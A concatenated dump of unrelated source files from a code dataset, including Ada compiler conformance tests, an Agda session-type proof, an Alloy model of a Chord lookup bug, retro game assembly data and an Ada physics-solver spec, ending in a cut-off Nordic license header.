\subsection faulty \tt<find_successor>
Consider the following pseudocode segment from [\cite{chord2}]:
n.find_successor(id)
if (id in (n, n.successor])
return n.successor;
else
n' = closest_preceding_finger(id);
return n'.find_successor(id);
In the buggy scenario with a single Node1, the \tt<if> loop
always terminates at \cite{if-condition1}, leading to an
infinite loop.
Consider the corresponding change to \tt<FindSuccessor> as follows:
*/
pred FindSuccessor[s: State] {
all n: s.active | let nd = n.(s.data) | all i: Id {
nd.find_successor[i] =
((less_than_eq [n.id, i, nd.next.id] && n.id != i)
=> nd.next
else
(nd.closest_preceding_finger[i].(s.data).find_successor)[i])
}
}
/*
The only change here is in the fourth line
\cite{sf-variation}, where we removed the clause \tt< || #
s.active = 1>. For the same reason, the \tt<if> loop
in this case always proceeds to the \tt<else> clause,
and since \tt<closest_preceding_finger> always returns
\tt<n> (the only Node1 in the network), we end up
with a tautological statement:
\code
nd.find_successor[i] = n.s.data.find_successor)[i]
This means that there is no additional constraint placed on
\tt<find_successor>, other than that its return type is
\tt<Node1>. Now, if there is no distinction between active
and inactive Node1s, that is, we have exactly one active Node1
in the network and no inactive ones, \tt<find_successor>
will return the right answer due to the type constraint,
therefore obscuring the bug. On the other hand, since we
have introduced inactive Node1s, the assertion
\tt<FindSuccessorWorks> now fails with exactly one active
Node1 and some inactive Node1(s), with \tt<find_successor>
returning an inactive Node1.
*/
|
gcc-gcc-7_3_0-release/gcc/testsuite/ada/acats/tests/ce/ce3806c.ada | best08618/asylo | 7 | 1415 | -- CE3806C.ADA
-- Grant of Unlimited Rights
--
-- Under contracts F33600-87-D-0337, F33600-84-D-0280, MDA903-79-C-0687,
-- F08630-91-C-0015, and DCA100-97-D-0025, the U.S. Government obtained
-- unlimited rights in the software and documentation contained herein.
-- Unlimited rights are defined in DFAR 252.227-7013(a)(19). By making
-- this public release, the Government intends to confer upon all
-- recipients unlimited rights equal to those held by the Government.
-- These rights include rights to use, duplicate, release or disclose the
-- released technical data and computer software in whole or in part, in
-- any manner and for any purpose whatsoever, and to have or permit others
-- to do so.
--
-- DISCLAIMER
--
-- ALL MATERIALS OR INFORMATION HEREIN RELEASED, MADE AVAILABLE OR
-- DISCLOSED ARE AS IS. THE GOVERNMENT MAKES NO EXPRESS OR IMPLIED
-- WARRANTY AS TO ANY MATTER WHATSOEVER, INCLUDING THE CONDITIONS OF THE
-- SOFTWARE, DOCUMENTATION OR OTHER INFORMATION RELEASED, MADE AVAILABLE
-- OR DISCLOSED, OR THE OWNERSHIP, MERCHANTABILITY, OR FITNESS FOR A
-- PARTICULAR PURPOSE OF SAID MATERIAL.
--*
-- OBJECTIVE:
-- CHECK THAT PUT FOR FLOAT_IO RAISES CONSTRAINT_ERROR WHEN THE
-- VALUES SUPPLIED BY FORE, AFT, OR EXP ARE NEGATIVE OR GREATER
-- THAN FIELD'LAST WHEN FIELD'LAST < FIELD'BASE'LAST. ALSO CHECK
-- THAT PUT FOR FLOAT_IO RAISES CONSTRAINT_ERROR WHEN THE VALUE OF
-- ITEM IS OUTSIDE THE RANGE OF THE TYPE USED TO INSTANTIATE
-- FLOAT_IO.
-- HISTORY:
-- SPS 09/10/82
-- JBG 08/30/83
-- JLH 09/14/87 ADDED CASES FOR COMPLETE OBJECTIVE.
-- KAS 11/24/95 DELETED DIGITS CONSTRAINT FROM SUBTYPE
-- CHANGED STATIC EXPRESSIONS INVOLVING 'LAST
WITH REPORT;
USE REPORT;
WITH TEXT_IO;
USE TEXT_IO;
PROCEDURE CE3806C IS
FIELD_LAST : TEXT_IO.FIELD := TEXT_IO.FIELD'LAST;
BEGIN
TEST ("CE3806C", "CHECK THAT PUT FOR FLOAT_IO RAISES " &
"CONSTRAINT_ERROR APPROPRIATELY");
DECLARE
TYPE FLOAT IS DIGITS 5 RANGE 0.0 .. 2.0;
SUBTYPE MY_FLOAT IS FLOAT RANGE 0.0 .. 1.0;
PACKAGE NFL_IO IS NEW FLOAT_IO (MY_FLOAT);
USE NFL_IO;
FT : FILE_TYPE;
Y : FLOAT := 1.8;
X : MY_FLOAT := 26.3 / 26.792;
BEGIN
BEGIN
PUT (FT, X, FORE => IDENT_INT(-6));
FAILED ("CONSTRAINT_ERROR NOT RAISED - NEGATIVE FORE " &
"FLOAT");
EXCEPTION
WHEN CONSTRAINT_ERROR =>
NULL;
WHEN STATUS_ERROR =>
FAILED ("STATUS_ERROR RAISED INSTEAD OF " &
"CONSTRAINT_ERROR - 1");
WHEN USE_ERROR =>
FAILED ("USE_ERROR RAISED INSTEAD OF " &
"CONSTRAINT_ERROR - 1");
WHEN OTHERS =>
FAILED ("WRONG EXCEPTION RAISED - NEGATIVE FORE " &
"FLOAT");
END;
BEGIN
PUT (FT, X, AFT => IDENT_INT(-2));
FAILED ("CONSTRAINT_ERROR NOT RAISED - NEGATIVE AFT " &
"FLOAT");
EXCEPTION
WHEN CONSTRAINT_ERROR =>
NULL;
WHEN STATUS_ERROR =>
FAILED ("STATUS_ERROR RAISED INSTEAD OF " &
"CONSTRAINT_ERROR - 2");
WHEN USE_ERROR =>
FAILED ("USE_ERROR RAISED INSTEAD OF " &
"CONSTRAINT_ERROR - 2");
WHEN OTHERS =>
FAILED ("WRONG EXCEPTION RAISED - NEGATIVE AFT " &
"FLOAT");
END;
BEGIN
PUT (FT, X, EXP => IDENT_INT(-1));
FAILED ("CONSTRAINT_ERROR NOT RAISED - NEGATIVE EXP " &
"FLOAT");
EXCEPTION
WHEN CONSTRAINT_ERROR =>
NULL;
WHEN STATUS_ERROR =>
FAILED ("STATUS_ERROR RAISED INSTEAD OF " &
"CONSTRAINT_ERROR - 3");
WHEN USE_ERROR =>
FAILED ("USE_ERROR RAISED INSTEAD OF " &
"CONSTRAINT_ERROR - 3");
WHEN OTHERS =>
FAILED ("WRONG EXCEPTION RAISED - NEGATIVE EXP " &
"FLOAT");
END;
IF FIELD_LAST < FIELD'BASE'LAST THEN
BEGIN
PUT (FT, X, FORE => IDENT_INT(FIELD_LAST+1));
FAILED ("CONSTRAINT_ERROR NOT RAISED - FORE FLOAT");
EXCEPTION
WHEN CONSTRAINT_ERROR =>
NULL;
WHEN STATUS_ERROR =>
FAILED ("STATUS_ERROR RAISED INSTEAD OF " &
"CONSTRAINT_ERROR - 4");
WHEN USE_ERROR =>
FAILED ("USE_ERROR RAISED INSTEAD OF " &
"CONSTRAINT_ERROR - 4");
WHEN OTHERS =>
FAILED ("WRONG EXCEPTION RAISED - FORE FLOAT");
END;
BEGIN
PUT (FT, X, AFT => IDENT_INT(FIELD_LAST+1));
FAILED ("CONSTRAINT_ERROR NOT RAISED - AFT FLOAT");
EXCEPTION
WHEN CONSTRAINT_ERROR =>
NULL;
WHEN STATUS_ERROR =>
FAILED ("STATUS_ERROR RAISED INSTEAD OF " &
"CONSTRAINT_ERROR - 5");
WHEN USE_ERROR =>
FAILED ("USE_ERROR RAISED INSTEAD OF " &
"CONSTRAINT_ERROR - 5");
WHEN OTHERS =>
FAILED ("WRONG EXCEPTION RAISED - AFT FLOAT");
END;
BEGIN
PUT (FT, X, EXP => IDENT_INT(FIELD_LAST+1));
FAILED ("CONSTRAINT_ERROR NOT RAISED - EXP FLOAT");
EXCEPTION
WHEN CONSTRAINT_ERROR =>
NULL;
WHEN STATUS_ERROR =>
FAILED ("STATUS_ERROR RAISED INSTEAD OF " &
"CONSTRAINT_ERROR - 6");
WHEN USE_ERROR =>
FAILED ("USE_ERROR RAISED INSTEAD OF " &
"CONSTRAINT_ERROR - 6");
WHEN OTHERS =>
FAILED ("WRONG EXCEPTION RAISED - EXP FLOAT");
END;
END IF;
BEGIN
PUT (FT, Y);
FAILED ("CONSTRAINT_ERROR NOT RAISED FOR ITEM OUTSIDE " &
"RANGE - FILE");
EXCEPTION
WHEN CONSTRAINT_ERROR =>
NULL;
WHEN OTHERS =>
FAILED ("WRONG EXCEPTION RAISED FOR ITEM OUTSIDE " &
"RANGE - FILE");
END;
BEGIN
PUT (Y);
FAILED ("CONSTRAINT_ERROR NOT RAISED FOR ITEM OUTSIDE " &
"RANGE - DEFAULT");
EXCEPTION
WHEN CONSTRAINT_ERROR =>
NULL;
WHEN OTHERS =>
FAILED ("WRONG EXCEPTION RAISED FOR ITEM OUTSIDE " &
"RANGE - DEFAULT");
END;
END;
RESULT;
END CE3806C;
|
PRG/levels/Desert/Empty3.asm | narfman0/smb3_pp1 | 0 | 163579 | ; Original address was $BF0E
; Empty/unused
.word W204L ; Alternate level layout
.word W204O ; Alternate object layout
.byte LEVEL1_SIZE_04 | LEVEL1_YSTART_170
.byte LEVEL2_BGPAL_07 | LEVEL2_OBJPAL_08 | LEVEL2_XSTART_18
.byte LEVEL3_TILESET_09 | LEVEL3_VSCROLL_FREE | LEVEL3_PIPENOTEXIT
.byte LEVEL4_BGBANK_INDEX(9) | LEVEL4_INITACT_NOTHING
.byte LEVEL5_BGM_OVERWORLD | LEVEL5_TIME_300
.byte $FF
|
src/DualTail.agda | peterthiemann/dual-session | 1 | 3224 | <filename>src/DualTail.agda
module DualTail where
open import Data.Nat
open import Data.Fin using (Fin; zero; suc)
open import Data.Product
open import Function using (id; _∘_)
open import Relation.Binary.PropositionalEquality using (_≡_; refl)
open import Types.Direction
open import Types.Tail
private
variable
n : ℕ
-- instead of unrolling and substituting, we maintain a stack of bodies of recursive types
data Stack : ℕ → Set where
ε : Stack 0
⟪_,_⟫ : Stack n → GType (suc n) → Stack (suc n)
-- the dual of a stack
dual-stack : Stack n → Stack n
dual-stack ε = ε
dual-stack ⟪ σ , g ⟫ = ⟪ dual-stack σ , dualG g ⟫
-- obtain an entry from the stack
-- technically m = n - i, but we don't need to know
get : (i : Fin n) → Stack n → Σ ℕ λ m → Stack m × GType (suc m)
get zero ⟪ σ , x ⟫ = _ , (σ , x)
get (suc i) ⟪ σ , x ⟫ = get i σ
-- relate a stack entry to the corresponding entry on the dual stack
get-dual-stack : (x : Fin n) (σ : Stack n) →
get x (dual-stack σ) ≡ map id (map dual-stack dualG) (get x σ)
get-dual-stack zero ⟪ σ , x ⟫ = refl
get-dual-stack (suc x) ⟪ σ , x₁ ⟫ = get-dual-stack x σ
-- mapping tail recursive session types to coinductive session types
-- relies on a stack to unfold variables on the fly
import Types.COI as COI
tail2coiT : Type → COI.Type
tail2coiS : Stack n → SType n → COI.SType
tail2coiG : Stack n → GType n → COI.STypeF COI.SType
tail2coiT TUnit = COI.TUnit
tail2coiT TInt = COI.TInt
tail2coiT (TPair t t₁) = COI.TPair (tail2coiT t) (tail2coiT t₁)
tail2coiT (TChan s) = COI.TChan (tail2coiS ε s)
COI.SType.force (tail2coiS σ (gdd g)) = tail2coiG σ g
COI.SType.force (tail2coiS σ (rec g)) = tail2coiG ⟪ σ , g ⟫ g
COI.SType.force (tail2coiS σ (var x))
with get x σ
... | m , σ' , gxs = tail2coiG ⟪ σ' , gxs ⟫ gxs
tail2coiG σ (transmit d t s) = COI.transmit d (tail2coiT t) (tail2coiS σ s)
tail2coiG σ (choice d m alt) = COI.choice d m (tail2coiS σ ∘ alt)
tail2coiG σ end = COI.end
-- get coinductive bisimulation in scope
_≈_ = COI._≈_
_≈'_ = COI._≈'_
-- main proposition
dual-tailS : (σ : Stack n) (s : SType n) →
COI.dual (tail2coiS σ s) ≈ tail2coiS (dual-stack σ) (dualS s)
dual-tailG : (σ : Stack n) (g : GType n) →
COI.dualF (tail2coiG σ g) ≈' tail2coiG (dual-stack σ) (dualG g)
COI.Equiv.force (dual-tailS σ (gdd g)) = dual-tailG σ g
COI.Equiv.force (dual-tailS σ (rec g)) = dual-tailG ⟪ σ , g ⟫ g
COI.Equiv.force (dual-tailS σ (var x))
rewrite get-dual-stack x σ
with get x σ
... | m , σ' , g = dual-tailG ⟪ σ' , g ⟫ g
dual-tailG σ (transmit d t s) = COI.eq-transmit (dual-dir d) COI.≈ᵗ-refl (dual-tailS σ s)
dual-tailG σ (choice d m alt) = COI.eq-choice (dual-dir d) (dual-tailS σ ∘ alt)
dual-tailG σ end = COI.eq-end
-- corrolary for SType 0
dual-tail : ∀ s → COI.dual (tail2coiS ε s) ≈ tail2coiS ε (dualS s)
dual-tail = dual-tailS ε
|
_maps/obj2A.asm | NatsumiFox/AMPS-Sonic-1-2005 | 2 | 241170 | ; ---------------------------------------------------------------------------
; Sprite mappings - doors (SBZ)
; ---------------------------------------------------------------------------
dc.w byte_89FE-Map_obj2A, byte_8A09-Map_obj2A
dc.w byte_8A14-Map_obj2A, byte_8A1F-Map_obj2A
dc.w byte_8A2A-Map_obj2A, byte_8A35-Map_obj2A
dc.w byte_8A40-Map_obj2A, byte_8A4B-Map_obj2A
dc.w byte_8A56-Map_obj2A
byte_89FE: dc.b 2
dc.b $E0, 7, 8, 0, $F8 ; door closed
dc.b 0, 7, 8, 0, $F8
byte_8A09: dc.b 2
dc.b $DC, 7, 8, 0, $F8
dc.b 4, 7, 8, 0, $F8
byte_8A14: dc.b 2
dc.b $D8, 7, 8, 0, $F8
dc.b 8, 7, 8, 0, $F8
byte_8A1F: dc.b 2
dc.b $D4, 7, 8, 0, $F8
dc.b $C, 7, 8, 0, $F8
byte_8A2A: dc.b 2
dc.b $D0, 7, 8, 0, $F8
dc.b $10, 7, 8, 0, $F8
byte_8A35: dc.b 2
dc.b $CC, 7, 8, 0, $F8
dc.b $14, 7, 8, 0, $F8
byte_8A40: dc.b 2
dc.b $C8, 7, 8, 0, $F8
dc.b $18, 7, 8, 0, $F8
byte_8A4B: dc.b 2
dc.b $C4, 7, 8, 0, $F8
dc.b $1C, 7, 8, 0, $F8
byte_8A56: dc.b 2
dc.b $C0, 7, 8, 0, $F8 ; door fully open
dc.b $20, 7, 8, 0, $F8
even |
3-mid/impact/source/3d/dynamics/joints/impact-d3-constraint_solver-sequential_impulse.ads | charlie5/lace | 20 | 23416 | <gh_stars>10-100
with impact.d3.Containers;
with impact.d3.constraint_Solver;
with impact.d3.Object;
with impact.d3.Manifold;
with impact.d3.Joint;
with impact.d3.contact_solver_Info;
with impact.d3.Dispatcher;
with impact.d3.solver_Constraint;
with impact.d3.Object.rigid;
with impact.d3.manifold_Point;
with Interfaces;
-- class btIDebugDraw;
-- #include "impact.d3.Joint.contact.h"
-- #include "btSolverBody.h"
-- #include "impact.d3.solver_Constraint.h"
-- #include "impact.d3.Joint.h"
-- #include "BulletCollision/NarrowPhaseCollision/impact.d3.manifold_Point.h"
package impact.d3.constraint_Solver.sequential_impulse
--
-- The impact.d3.constraint_Solver.sequential_impulse is a fast SIMD implementation of the Projected Gauss Seidel (iterative LCP) method.
--
is
type Item is new impact.d3.constraint_Solver.item with private;
subtype Prefered is Item;
-- #ifndef BT_PREFER_SIMD
-- typedef impact.d3.constraint_Solver.sequential_impulse impact.d3.constraint_Solver.sequential_impulsePrefered;
-- #endif
--- Forge
--
function to_constraint_Solver return Item;
overriding procedure destruct (Self : in out Item);
--- Operations
--
-- procedure prepareSolve (Self : in out Item; numBodies : in Integer;
-- numManifolds : in Integer);
overriding function solveGroup (Self : access Item; bodies : access impact.d3.Object.Vector;
manifold : access impact.d3.Manifold.Vector;
constraints : access impact.d3.Joint.Vector;
info : in impact.d3.contact_solver_Info.Item'Class;
dispatcher : in impact.d3.Dispatcher.item'Class) return math.Real;
-- procedure allSolved (Self : in out Item; info : in impact.d3.contact_solver_Info.Item'Class);
overriding procedure reset (Self : in out Item);
--
-- Clear internal cached data and reset random seed.
function btRand2 (Self : access Item ) return interfaces.Unsigned_64;
function btRandInt2 (Self : access Item; n : in Integer) return Integer;
procedure setRandSeed (Self : out Item; seed : in interfaces.Unsigned_64);
function getRandSeed (Self : in Item) return interfaces.Unsigned_64;
-- void setRandSeed(unsigned long seed)
-- {
-- m_btSeed2 = seed;
-- }
-- unsigned long getRandSeed() const
-- {
-- return m_btSeed2;
-- }
private
type Item is new impact.d3.constraint_Solver.item with
record
m_tmpSolverContactConstraintPool : impact.d3.solver_Constraint.btConstraintArray;
m_tmpSolverNonContactConstraintPool : impact.d3.solver_Constraint.btConstraintArray;
m_tmpSolverContactFrictionConstraintPool : impact.d3.solver_Constraint.btConstraintArray;
m_orderTmpConstraintPool : Containers.Integer_Vector;
m_orderFrictionConstraintPool : Containers.Integer_Vector;
m_tmpConstraintSizesPool : impact.d3.Joint.btConstraintInfo1_Vector;
m_btSeed2 : interfaces.Unsigned_64; -- Used for re-arranging the constraint rows. Improves convergence/quality of friction.
end record;
procedure setupFrictionConstraint (Self : in out Item; solverConstraint : in out impact.d3.solver_Constraint.item;
normalAxis : in math.Vector_3;
solverBodyA, solverBodyB : in impact.d3.Object.rigid.View;
cp : in out impact.d3.manifold_Point.item;
rel_pos1, rel_pos2 : in math.Vector_3;
colObj0, colObj1 : in impact.d3.Object.view;
relaxation : in math.Real;
desiredVelocity : in math.Real := 0.0;
cfmSlip : in math.Real := 0.0);
function addFrictionConstraint (Self : access Item; normalAxis : in math.Vector_3;
solverBodyA, solverBodyB : in impact.d3.Object.rigid.View;
frictionIndex : in Integer;
cp : in out impact.d3.manifold_Point.item;
rel_pos1, rel_pos2 : in math.Vector_3;
colObj0, colObj1 : in impact.d3.Object.view;
relaxation : in math.Real;
desiredVelocity : in math.Real := 0.0;
cfmSlip : in math.Real := 0.0) return access impact.d3.solver_Constraint.item;
procedure setupContactConstraint (Self : in out Item; solverConstraint : in out impact.d3.solver_Constraint.item;
colObj0, colObj1 : in impact.d3.Object.view;
cp : in out impact.d3.manifold_Point.item;
infoGlobal : in impact.d3.contact_solver_Info.item'Class;
vel : in out math.Vector_3;
rel_vel : in out math.Real;
relaxation : in out math.Real;
rel_pos1, rel_pos2 : in out math.Vector_3);
procedure setFrictionConstraintImpulse (Self : in out Item; solverConstraint : in out impact.d3.solver_Constraint.item;
rb0, rb1 : in impact.d3.Object.rigid.View;
cp : in out impact.d3.manifold_Point.item;
infoGlobal : in impact.d3.contact_solver_Info.item'Class);
function restitutionCurve (Self : access Item; rel_vel : in math.Real;
restitution : in math.Real) return math.Real;
procedure convertContact (Self : access Item; manifold : in impact.d3.Manifold.view;
infoGlobal : in impact.d3.contact_solver_Info.item'Class);
procedure resolveSplitPenetrationImpulseCacheFriendly (Self : in out Item; body1, body2 : in impact.d3.Object.rigid.View;
contactConstraint : in out impact.d3.solver_Constraint.item);
function getOrInitSolverBody (Self : in Item; the_body : access impact.d3.Object.item'Class) return Integer;
--
-- internal method
procedure resolveSingleConstraintRowGeneric (Self : in out Item; body1, body2 : in impact.d3.Object.rigid.View;
contactConstraint : in out impact.d3.solver_Constraint.item);
procedure resolveSingleConstraintRowLowerLimit (Self : in out Item; body1, body2 : in impact.d3.Object.rigid.View;
contactConstraint : in out impact.d3.solver_Constraint.item);
function getFixedBody return impact.d3.Object.rigid.view;
procedure solveGroupCacheFriendlySplitImpulseIterations (Self : in out Item; bodies : access impact.d3.Object .Vector;
manifoldPtr : access impact.d3.Manifold.Vector;
constraints : access impact.d3.Joint.Vector;
infoGlobal : in impact.d3.contact_solver_Info.item'Class);
function solveGroupCacheFriendlyFinish (Self : in out Item; bodies : access impact.d3.Object .Vector;
manifoldPtr : access impact.d3.Manifold.Vector;
constraints : access impact.d3.Joint .Vector;
infoGlobal : in impact.d3.contact_solver_Info .Item'Class) return math.Real;
function solveSingleIteration (Self : in out Item; iteration : in Integer;
bodies : access impact.d3.Object .Vector;
manifoldPtr : access impact.d3.Manifold.Vector;
constraints : access impact.d3.Joint .Vector;
infoGlobal : in impact.d3.contact_solver_Info .Item'Class) return math.Real;
function solveGroupCacheFriendlySetup (Self : in out Item; bodies : access impact.d3.Object .Vector;
manifoldPtr : access impact.d3.Manifold.Vector;
constraints : access impact.d3.Joint .Vector;
infoGlobal : in impact.d3.contact_solver_Info .Item'Class) return math.Real;
function solveGroupCacheFriendlyIterations (Self : in out Item; bodies : access impact.d3.Object .Vector;
manifoldPtr : access impact.d3.Manifold.Vector;
constraints : access impact.d3.Joint .Vector;
infoGlobal : in impact.d3.contact_solver_Info .Item'Class) return math.Real;
end impact.d3.constraint_Solver.sequential_impulse;
-- class impact.d3.constraint_Solver.sequential_impulse : public impact.d3.constraint_Solver
-- {
-- protected:
-- tbd: are these needed ?
--
-- void resolveSplitPenetrationSIMD(
-- impact.d3.Object.rigid& body1,
-- impact.d3.Object.rigid& body2,
-- const impact.d3.solver_Constraint& contactConstraint);
--
-- void resolveSingleConstraintRowGenericSIMD(impact.d3.Object.rigid& body1,impact.d3.Object.rigid& body2,const impact.d3.solver_Constraint& contactConstraint);
--
-- void resolveSingleConstraintRowLowerLimitSIMD(impact.d3.Object.rigid& body1,impact.d3.Object.rigid& body2,const impact.d3.solver_Constraint& contactConstraint);
-- };
|
gcc-gcc-7_3_0-release/gcc/testsuite/ada/acats/tests/c4/c49022a.ada | best08618/asylo | 7 | 19223 | -- C49022A.ADA
-- Grant of Unlimited Rights
--
-- Under contracts F33600-87-D-0337, F33600-84-D-0280, MDA903-79-C-0687,
-- F08630-91-C-0015, and DCA100-97-D-0025, the U.S. Government obtained
-- unlimited rights in the software and documentation contained herein.
-- Unlimited rights are defined in DFAR 252.227-7013(a)(19). By making
-- this public release, the Government intends to confer upon all
-- recipients unlimited rights equal to those held by the Government.
-- These rights include rights to use, duplicate, release or disclose the
-- released technical data and computer software in whole or in part, in
-- any manner and for any purpose whatsoever, and to have or permit others
-- to do so.
--
-- DISCLAIMER
--
-- ALL MATERIALS OR INFORMATION HEREIN RELEASED, MADE AVAILABLE OR
-- DISCLOSED ARE AS IS. THE GOVERNMENT MAKES NO EXPRESS OR IMPLIED
-- WARRANTY AS TO ANY MATTER WHATSOEVER, INCLUDING THE CONDITIONS OF THE
-- SOFTWARE, DOCUMENTATION OR OTHER INFORMATION RELEASED, MADE AVAILABLE
-- OR DISCLOSED, OR THE OWNERSHIP, MERCHANTABILITY, OR FITNESS FOR A
-- PARTICULAR PURPOSE OF SAID MATERIAL.
--*
-- CHECK THAT NAMED NUMBER DECLARATIONS (INTEGER) MAY USE EXPRESSIONS
-- WITH INTEGERS.
-- BAW 29 SEPT 80
-- TBN 10/28/85 RENAMED FROM C4A001A.ADA. ADDED RELATIONAL
-- OPERATORS AND USE OF NAMED NUMBERS.
WITH REPORT;
PROCEDURE C49022A IS
USE REPORT;
ADD1 : CONSTANT := 1 + 1;
ADD2 : CONSTANT := 1 + (-1);
ADD3 : CONSTANT := (-1) + 1;
ADD4 : CONSTANT := (-1) + (-1);
SUB1 : CONSTANT := 1 - 1;
SUB2 : CONSTANT := 1 - (-1);
SUB3 : CONSTANT := (-1) - 1;
SUB4 : CONSTANT := (-1) - (-1);
MUL1 : CONSTANT := 1 * 1;
MUL2 : CONSTANT := 1 * (-1);
MUL3 : CONSTANT := (-1) * 1;
MUL4 : CONSTANT := (-1) * (-1);
DIV1 : CONSTANT := 1 / 1;
DIV2 : CONSTANT := 1 / (-1);
DIV3 : CONSTANT := (-1) / 1;
DIV4 : CONSTANT := (-1) / (-1);
REM1 : CONSTANT := 14 REM 5;
REM2 : CONSTANT := 14 REM(-5);
REM3 : CONSTANT :=(-14) REM 5;
REM4 : CONSTANT :=(-14) REM(-5);
MOD1 : CONSTANT := 4 MOD 3;
MOD2 : CONSTANT := 4 MOD (-3);
MOD3 : CONSTANT := (-4) MOD 3;
MOD4 : CONSTANT := (-4) MOD (-3);
EXP1 : CONSTANT := 1 ** 1;
EXP2 : CONSTANT := (-1) ** 1;
ABS1 : CONSTANT := ABS( - 10 );
ABS2 : CONSTANT := ABS( + 10 );
TOT1 : CONSTANT := ADD1 + SUB1 - MUL1 + DIV1 - REM3 + MOD2 - EXP1;
LES1 : CONSTANT := BOOLEAN'POS (1 < 2);
LES2 : CONSTANT := BOOLEAN'POS (1 < (-2));
LES3 : CONSTANT := BOOLEAN'POS ((-1) < (-2));
LES4 : CONSTANT := BOOLEAN'POS (ADD1 < SUB1);
GRE1 : CONSTANT := BOOLEAN'POS (2 > 1);
GRE2 : CONSTANT := BOOLEAN'POS ((-1) > 2);
GRE3 : CONSTANT := BOOLEAN'POS ((-1) > (-2));
GRE4 : CONSTANT := BOOLEAN'POS (ADD1 > SUB1);
LEQ1 : CONSTANT := BOOLEAN'POS (1 <= 1);
LEQ2 : CONSTANT := BOOLEAN'POS ((-1) <= 1);
LEQ3 : CONSTANT := BOOLEAN'POS ((-1) <= (-2));
LEQ4 : CONSTANT := BOOLEAN'POS (ADD2 <= SUB3);
GEQ1 : CONSTANT := BOOLEAN'POS (2 >= 1);
GEQ2 : CONSTANT := BOOLEAN'POS ((-2) >= 1);
GEQ3 : CONSTANT := BOOLEAN'POS ((-2) >= (-1));
GEQ4 : CONSTANT := BOOLEAN'POS (ADD2 >= SUB3);
EQU1 : CONSTANT := BOOLEAN'POS (2 = 2);
EQU2 : CONSTANT := BOOLEAN'POS ((-2) = 2);
EQU3 : CONSTANT := BOOLEAN'POS ((-2) = (-2));
EQU4 : CONSTANT := BOOLEAN'POS (ADD2 = SUB3);
NEQ1 : CONSTANT := BOOLEAN'POS (2 /= 2);
NEQ2 : CONSTANT := BOOLEAN'POS ((-2) /= 1);
NEQ3 : CONSTANT := BOOLEAN'POS ((-2) /= (-2));
NEQ4 : CONSTANT := BOOLEAN'POS (ADD2 /= SUB3);
BEGIN
TEST("C49022A","CHECK THAT NAMED NUMBER DECLARATIONS (INTEGER) " &
"MAY USE EXPRESSIONS WITH INTEGERS");
IF ADD1 /= 2 OR ADD2 /= 0 OR ADD3 /= 0 OR ADD4 /= -2 THEN
FAILED("ERROR IN THE ADDING OPERATOR +");
END IF;
IF SUB1 /= 0 OR SUB2 /= 2 OR SUB3 /= -2 OR SUB4 /= 0 THEN
FAILED("ERROR IN THE ADDING OPERATOR -");
END IF;
IF MUL1 /= 1 OR MUL2 /= -1 OR MUL3 /= -1 OR MUL4 /= 1 THEN
FAILED("ERROR IN THE MULTIPLYING OPERATOR *");
END IF;
IF DIV1 /= 1 OR DIV2 /= -1 OR DIV3 /= -1 OR DIV4 /= 1 THEN
FAILED("ERROR IN THE MULTIPLYING OPERATOR /");
END IF;
IF REM1 /= 4 OR REM2 /= 4 OR REM3 /= -4 OR REM4 /= -4 THEN
FAILED("ERROR IN THE MULTIPLYING OPERATOR REM");
END IF;
IF MOD1 /= 1 OR MOD2 /= -2 OR MOD3 /= 2 OR MOD4 /= -1 THEN
FAILED("ERROR IN THE MULTIPLYING OPERATOR MOD");
END IF;
IF EXP1 /= 1 OR EXP2 /= -1 THEN
FAILED("ERROR IN THE EXPONENTIATING OPERATOR");
END IF;
IF ABS1 /= 10 OR ABS2 /= 10 THEN
FAILED("ERROR IN THE ABS OPERATOR");
END IF;
IF TOT1 /= 3 THEN
FAILED("ERROR IN USING NAMED NUMBERS WITH OPERATORS");
END IF;
IF LES1 /= 1 OR LES2 /= 0 OR LES3 /= 0 OR LES4 /= 0 THEN
FAILED("ERROR IN THE LESS THAN OPERATOR");
END IF;
IF GRE1 /= 1 OR GRE2 /= 0 OR GRE3 /= 1 OR GRE4 /= 1 THEN
FAILED("ERROR IN THE GREATER THAN OPERATOR");
END IF;
IF LEQ1 /= 1 OR LEQ2 /= 1 OR LEQ3 /= 0 OR LEQ4 /= 0 THEN
FAILED("ERROR IN THE LESS THAN EQUAL OPERATOR");
END IF;
IF GEQ1 /= 1 OR GEQ2 /= 0 OR GEQ3 /= 0 OR GEQ4 /= 1 THEN
FAILED("ERROR IN THE GREATER THAN EQUAL OPERATOR");
END IF;
IF EQU1 /= 1 OR EQU2 /= 0 OR EQU3 /= 1 OR EQU4 /= 0 THEN
FAILED("ERROR IN THE EQUAL OPERATOR");
END IF;
IF NEQ1 /= 0 OR NEQ2 /= 1 OR NEQ3 /= 0 OR NEQ4 /= 1 THEN
FAILED("ERROR IN THE NOT EQUAL OPERATOR");
END IF;
RESULT;
END C49022A;
|
bsp-examples/dwm1001/nrf52-spi.ads | SALLYPEMDAS/DW1000 | 9 | 2581 | -- Copyright (c) 2010 - 2018, Nordic Semiconductor ASA
--
-- All rights reserved.
--
-- Redistribution and use in source and binary forms, with or without
-- modification, are permitted provided that the following conditions are met:
--
-- 1. Redistributions of source code must retain the above copyright notice,
-- this list of conditions and the following disclaimer.
--
-- 2. Redistributions in binary form, except as embedded into a Nordic
-- Semiconductor ASA integrated circuit in a product or a software update for
-- such product, must reproduce the above copyright notice, this list of
-- conditions and the following disclaimer in the documentation and/or other
-- materials provided with the distribution.
--
-- 3. Neither the name of Nordic Semiconductor ASA nor the names of its
-- contributors may be used to endorse or promote products derived from this
-- software without specific prior written permission.
--
-- 4. This software, with or without modification, must only be used with a
-- Nordic Semiconductor ASA integrated circuit.
--
-- 5. Any software provided in binary form under this license must not be
-- reverse engineered, decompiled, modified and/or disassembled.
--
-- THIS SOFTWARE IS PROVIDED BY NORDIC SEMICONDUCTOR ASA "AS IS" AND ANY
-- EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
-- WARRANTIES OF MERCHANTABILITY, NONINFRINGEMENT, AND FITNESS FOR A
-- PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL NORDIC SEMICONDUCTOR
-- ASA OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
-- SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED
-- TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
-- PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF
-- LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
-- NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
